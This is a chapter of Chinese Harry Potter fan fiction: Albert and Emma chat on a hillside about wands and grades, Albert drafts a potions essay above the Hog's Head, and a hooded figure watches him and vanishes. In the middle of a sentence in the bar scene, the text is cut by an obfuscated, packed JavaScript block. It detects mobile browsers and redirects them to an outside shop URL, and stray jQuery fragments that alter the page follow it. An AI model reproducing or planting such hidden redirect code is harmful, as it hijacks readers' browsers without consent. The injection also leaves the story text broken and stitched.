七月。霍格莫德的草坡在午后晒得发烫。
阿尔伯特整个人摊在酒吧后面那块缓坡上，后背贴着草地，草叶从领口扎进去，刺得后脖颈痒痒的。他把胳膊枕在脑袋底下，两条腿伸开了，嘴里叼着一根狗尾巴草。草茎的末端在他嘴角微微颤着，他没什么特别在想的事，只是看着头顶那片天，蓝得匀净，连一丝云都没有。
赫尔墨斯在坡下吃草，离他大约十几步远，低着头，嘴巴一嚼一嚼的，尾巴偶尔甩一下。赫拉卧在树荫底下，眯着眼，下巴搁在前腿上。宙斯和阿波罗在更远的地方，正低着头互相顶角玩。
风从山坡那边吹过来，温温的，带着干草和泥土的气息。他闭了一会儿眼。
“土拨鼠。”
阿尔伯特没睁眼，只是把嘴里那根狗尾巴草换了个方向叼着，含含糊糊地“嗯”了一声。
脚步声从坡顶的方向传过来，踩在草地上，越来越近。然后一团影子罩住了他脸上的阳光，带着一股淡淡的、像是刚从外面跑进来的热烘烘的气息。
“你摊在这里像被冲上沙滩的尸体。”
阿尔伯特睁开一只眼。逆着光，艾玛正站在他脑袋旁边，低头看着他，两只手叉着腰。她穿着一件浅蓝色的短袖衬衫，头发在脑后扎成一把马尾，几缕碎发被风吹得贴在脸颊边上。阳光从她身后照过来，在她肩膀的轮廓上勾出一圈金边。
“那你是看热闹的海鸟。”阿尔伯特说。他又闭上眼，把嘴里的草茎吐出来，换了一根新的叼上。
艾玛笑了一声。她在阿尔伯特旁边蹲下来，用手拍了一下他的肩膀。“起来起来，别躺了。”
“为什么。”
“因为我要躺了。”
阿尔伯特还没反应过来，艾玛已经在他旁边倒了下来，后背砸在草地上，发出一声闷闷的“噗”。她躺下来的时候胳膊肘撞了一下阿尔伯特的肋骨，他“嘶”了一声往旁边挪了挪，给她腾出位置。
两个人并排躺在坡上，头顶那片蓝匀匀净净的，和几个月前他们躺在这里时一模一样。风从山坡上吹下来，把艾玛额前那几缕碎发吹起来又落下去。
“你收到通知书了？”阿尔伯特问。
“收到了，”艾玛说，声音里带着藏不住的笑意，“今天早上到的。我爸妈刚带我从对角巷回来。”
阿尔伯特偏过头看了她一眼。艾玛正望着天，嘴角弯着，太阳把她脸颊晒得微微发红。
“那你魔杖买了？”
“买了。”艾玛从口袋里掏出一根细长的木棍，举到眼前，逆着光看。杖身是浅褐色的，泛着一层温润的光泽。“栗木，杖芯是独角兽毛，十一英寸。奥利凡德说这根挺适合我的。”
阿尔伯特伸手接过来，握了一下杖身，感觉到一阵极轻的、温和的振动从掌心传上来，和当初他握住那根黑胡桃木魔杖时的感觉完全不一样，安安静静的，像一只温驯的小动物在他手心里待了一下。他把魔杖还回去。
“挺好。”
艾玛把魔杖收回口袋里，拍了拍口袋外面。她躺回去，两只手枕在脑袋底下。
“我哥被关在家里写作业了，”艾玛继续说，语气里带着一种幸灾乐祸的轻快，“我妈把他的扫帚没收了，说魔药课拿了D的人不配出门。”
“D？”
“差一点就是T了。”艾玛转过头来看他，“斯拉格霍恩教授说他的辅房汤剂熬出来是灰绿色的，闻起来像烂白菜。”
阿尔伯特嘴角动了一下。“那确实很糟糕了。”
“可不是嘛，”艾玛说，她翻了个身，侧躺着，用手肘撑着脑袋看着他，“那你呢？你成绩咋样？”
阿尔伯特想了想。“还行。”
艾玛盯着他看了两秒。“‘还行’是什么意思？”
阿尔伯特把嘴里那根狗尾巴草吐出来，换了一根。“除了飞行，其他全是O。”
安静了一拍。
然后艾玛整个人弹了起来，手肘从草地上撑起来，居高临下地看着他，表情介于“你想挨揍”和“你在逗我”之间。她的影子罩在他脸上，把阳光挡得严严实实的。
“这叫还行？”
阿尔伯特躺在那里，仰着脸看着她。“飞行课那个O我真的拿不到。霍琦夫人和麦格教授商量了才把标准降下来的，我在考试的时候高度保持在离地三英尺——”
“三英尺？”
“——速度比走路快不了多少，”阿尔伯特说，“就这么飘了一圈。我能及格已经是霍琦夫人放过我了。”
艾玛看着他，嘴唇抿着，嘴角在抖。她忍了两秒，然后整个人趴回草地上，脸埋在胳膊弯里，肩膀一抽一抽的。笑声闷闷的，像一只被堵住了嘴的猫头鹰在咕咕叫。
阿尔伯特躺在旁边，等她笑完。她笑了好一会儿才抬起头来，眼角湿了一小片，用手背擦了擦。
“土拨鼠，”她说，声音还带着笑余，“你真的不会飞？”
“其实是飘行。”
“我想亲自观摩一下。”艾玛说，语气认真的，“下学期我一定要亲眼看看。”
阿尔伯特同样面无表情地说：“那很可惜你看不到了。只有一年级上飞行课。”
艾玛愣了一下，然后她的表情从“可惜”变成“那算了”，又变成了“不对”。
“那你一年级的时候我还没入学呢。”她说。
“嗯。”
“所以你那一年的飞行课我全错过了。”
“嗯。”
“那你现在——”
“现在不用上飞行课了，”阿尔伯特咧嘴，“我这辈子再也不用骑扫帚了。”
艾玛看了他一会儿，然后重新躺了回去，望着天，用一种若有所思的语气说：“我觉得霍琦夫人应该给你发个特殊贡献奖。‘霍格沃茨历史上第一个让学校修改考试标准的学生’。”
“荣幸之至。”阿尔伯特说。
两个人又安静了一会儿。风从山坡上吹下来，草叶在风里沙沙地响。赫尔墨斯从坡下跑了上来，站在阿尔伯特脑袋旁边，低头嗅了嗅他的头发，湿漉漉的鼻息喷在他的额角上，痒痒的。阿尔伯特伸手把它拨开，小羊又凑过来，用脑袋顶了一下他的肩膀。
“对了，”艾玛忽然坐了起来，“我给你看个东西。”
她从口袋里掏出一根魔杖，就是刚才那根栗木的，举到面前。
“你要对什么施咒？”阿尔伯特问。
艾玛的目光从他脸上移开，往下滑，落在他身上。
阿尔伯特顺着她的目光低头看了看自己，又抬起头来看着她。“不行。”
“就试一下。”
“你拿我试？”
“飘羽毛我练过了，”艾玛说，“我突然有个想法，你对我使用漂浮咒我也对你使用，这样也解决了范围的问题又能一起飞，我们两个能不能一起飞起来？”
阿尔伯特弹坐了起来，草叶从他后背上簌簌地落下去。“你认真的？”
“认真的。”艾玛说，她的表情确实挺认真的，那双眼睛亮亮的，握着魔杖的手指收紧了。
“飘羽毛和飘人是两回事，”阿尔伯特说，“羽毛的重量大概零点几克，人的重量——”他看了她一眼，估算了一下，“——至少五十倍以上。而且羽毛的表面形状规则，受力均匀；人的形状不规则，重心分布复杂，施咒的时候需要精确控制多个受力点。你一年级还没开学就想飘人，是想把自己摔进圣芒戈？”
艾玛的眉毛皱起来，嘴抿着。“我练过好多次了。”
“你练的是羽毛。”
“道理是一样的嘛。”
“道理完全不一样。”阿尔伯特看了她一眼，她握魔杖的姿势还是对的，但手腕已经开始微微发抖了——那种因为兴奋和紧张混在一起而控制不住的微颤。“而且你有没有想过一个问题：你对我施漂浮咒，我对你施，两个力同时作用，会发生什么？”
艾玛眨了眨眼。“——会一起飞起来？”
“会抵消，”阿尔伯特说，“我问过弗立维教授这个问题。两道漂浮咒对着互相施加，魔力发生对冲。结果两个人根本浮不起来，只会原地晃一晃，魔力互相中和，直接站在地上不动。这在课堂上很常见。”
“好吧。”
她翻了个身，趴在草地上，下巴搁在交叠的胳膊上，看着坡下那几只羊。“赫尔墨斯长这么大了。”
“嗯，”阿尔伯特说，“刚来的时候才这么点。”他用手比了一下高度，大约到膝盖的位置。“现在已经到我腰了。”
“它认识你吗？”
“认识，”阿尔伯特说，“每次我过来它就凑过来顶我。”
“那它喜欢我么？”
“你试试。”
艾玛从草地上爬起来，拍了拍手上沾的草屑和泥，朝坡下走去。赫尔墨斯正低着头啃草，听到脚步声抬起头来，看了她一眼，然后又低下去继续吃。艾玛蹲下来，伸出手，掌心朝上，等着。赫尔墨斯犹豫了一下，往前走了两步，低头嗅了嗅她的手指，湿漉漉的鼻息喷在她的掌心里。然后它用脑袋顶了一下她的手腕，力气不大，但顶得她手腕晃了一下。
艾玛笑了一声，伸手摸了摸它的头顶。羊毛粗硬，底下是温热的皮肤。
“它喜欢我。”她说。
阿尔伯特躺在坡上，看着艾玛蹲在羊群中间，伸手摸赫尔墨斯的脑袋。赫拉从旁边走了过来，站在艾玛身后，用一种审视的目光打量着她，然后低下头，舔了一下她的后脑勺。艾玛“哎呀”了一声，缩了一下脖子，转过头去，看到赫拉正用那双圆溜溜的眼睛看着她，嘴巴还在嚼。
阿尔伯特在坡上笑了一声。
---
阿尔伯特把羊群赶进圈里，关上栅栏，用铁钩把门扣上。赫尔墨斯站在栅栏边上，从缝隙里探出脑袋来，看着他。阿尔伯特伸手摸了一下它的头顶，然后转身推开酒吧的后门，走了进去。
后门直通吧台后面。猪头酒吧的大厅比他出去的时候暗了一些，窗外的光线从西边斜斜地照进来，在木头桌面上切出几块暖黄色的光斑。壁炉里的火没有烧，大厅里比外面凉快，空气中浮着一股淡淡的酒味和旧木头的气息。
今天人少。吧台前面只坐着两个客人，一左一右，中间隔了三个空位。左边那个穿深灰色长袍，兜帽拉得很低，面前放着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786434|210180||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一杯没怎么动过的威士忌，杯沿有一圈淡淡的指纹印。右边那个穿暗绿色的旧外套，袖口磨得发白，正低头翻一本薄薄的小册子，翻页的动作很慢，像是在等什么。
两个人都没说话。
阿不福思站在吧台后面，手里拿着一块白布，正在擦一只玻璃杯。杯壁在他手里转了一圈又一圈，布面擦过玻璃表面，发出细微的、几乎听不见的“吱吱”声。他抬起头，目光越过吧台，落在阿尔伯特身上，停了一下，又扫了一眼阿尔伯特身后——艾玛正站在后门口，探了半个身子进来，朝吧台的方向挥了一下手。
阿不福思朝她点了一下头，幅度很小，然后把目光收回来，落在阿尔伯特脸上。“上楼去。”
大厅里现在就两个客人。穿深灰色长袍的那个，从兜帽底下露出一截灰白的胡茬和半张皱巴巴的脸，正盯着自己面前那杯火焰威士忌，一动不动的。穿暗绿色外套的那个，小册子已经翻到了最后一页，但他没有合上，手指按在页面上，也没有翻回去。
阿尔伯特没有多问。“嗯”了一声，转身往楼梯口走。踩上第一级台阶的时候，他听到身后传来极轻的、杯底磕在吧台上的声音——“咚”的一声——然后是阿不福思压低了的、听不清内容的说话声。
---
桌面上摊着一本翻开的笔记本——淡黄色封面的厚本子，边角已经卷了，里面密密麻麻地写满了字。土拨鼠雕塑被他放在桌角——正在挠耳朵。阿尔伯特翻到最新那一页，上面列着几行标题：变形术与魔药学的交叉效应——关于材料预处理的初步探索。底下是他上周和斯拉格霍恩教授讨论时记下的几行批注，字迹排得密密的，有些地方用括号括着，旁边打了问号。
斯拉格霍恩教授在学期末给他布置的暑假作业——一篇自主选题的魔药学论文，题材不限，自由发挥。阿尔伯特选了那个他上学期问过的问题：用变形术的逻辑来预改变某种魔药材料的初始状态，再投入熬制，能否产生一种介于两种魔法分支之间的效果。
他在笔记本上写了几行思路，又停下来，咬着笔杆想了片刻，然后把笔放下，从口袋里掏出了魔杖。
黑胡桃木的杖身在暮色里泛着一层温润的暗光。他把魔杖搁在桌面上，另一只手从桌角拿起一只小玻璃瓶——里面装着半瓶干荨麻粉末，是上学期末从斯拉格霍恩教授的储藏柜里要来的样品。他拧开瓶塞，倒了一小撮粉末在桌面上，用指尖拨开，铺成薄薄的一层。
......(此处跳过)
窗外暮色在变深。他把坩埚的火熄了。
楼下传来模糊的说话声。听不清内容，但能听出是几个人的声音混在一起，压得很低。阿尔伯特侧耳听了一下，那些声音持续了大约一两分钟，然后安静下来。然后是脚步声——不止一个人的——在木地板上响着，往门口的方向移动。然后是后门开合的声音，一声闷响，然后是第二次，第三次。
大厅重新安静下来了。
阿尔伯特把笔记本合上，靠在椅背上，活动了一下手腕。窗外的光线已经从金色变成了淡橘色，又变成了灰蓝色。他看了一眼窗台——彗星正蹲在栖木上，缩着脖子，脑袋埋在翅膀底下，一动不动，像一团褐色的毛球。
他站起来，走到窗前，伸手揉了揉自己的后脖颈。坐得太久了，脖子有点僵。
他的手指停住了。
窗外的街道比平时暗。街对面那几栋房子的屋顶在暮色里只剩下深灰色的轮廓，窗户是暗的，没有灯。街角那盏铁质路灯还没亮起来，灯罩在灰蓝色的天光里泛着一层冷白色的金属光泽。
但街对面的暗巷里，有一个人。
阿尔伯特的目光钉在那个方向上。那条巷子夹在两栋房子之间，窄窄的，平时白天的时候能看到巷子尽头那面长满青苔的石墙——但现在天快黑了，巷子里黑黢黢的，光线照不进去，只剩下一个模糊的、深色的轮廓站在巷口靠里的位置。
一个穿黑袍的人。
那个人站得很安静，没有动。巷口的光线从他身后照过来，把他的轮廓勾成一团深色的剪影。看不清脸，看不清身形，只能看到一个模糊的、人形的轮廓，面朝着猪头酒吧的方向。
阿尔伯特的手停在脖颈后面，没有放下来。他盯着那个方向，那个轮廓在他视野里保持着静止——太静止了，一动不动，连最细微的晃动都没有。
忽然那轮廓头部微微偏转了一个角度。
阿尔伯特感觉自己的后颈有一阵极轻微的凉意。那个人的脸在阴影里看不清，但他知道那个人在看他。那种感觉和去年在霍格莫德主街上感受到的一模一样——被注视着的感觉。
兜帽又动了一下——偏了偏头，视角正对着阿尔伯特站着的这扇窗户。
阿尔伯特没有动。他的手从脖颈后面放下来，握住魔杖。
那个人又看了他几秒，然后——
消失。
没有转身走开，没有后退，没有任何移动的过程。轮廓在巷口的阴影里直接不见了，从有到无只需要一眨眼的功夫。阿尔伯特眨了眨眼，巷口还是那个巷口，空荡荡的，只有灰蓝色的暮色和那面长满青苔的石墙。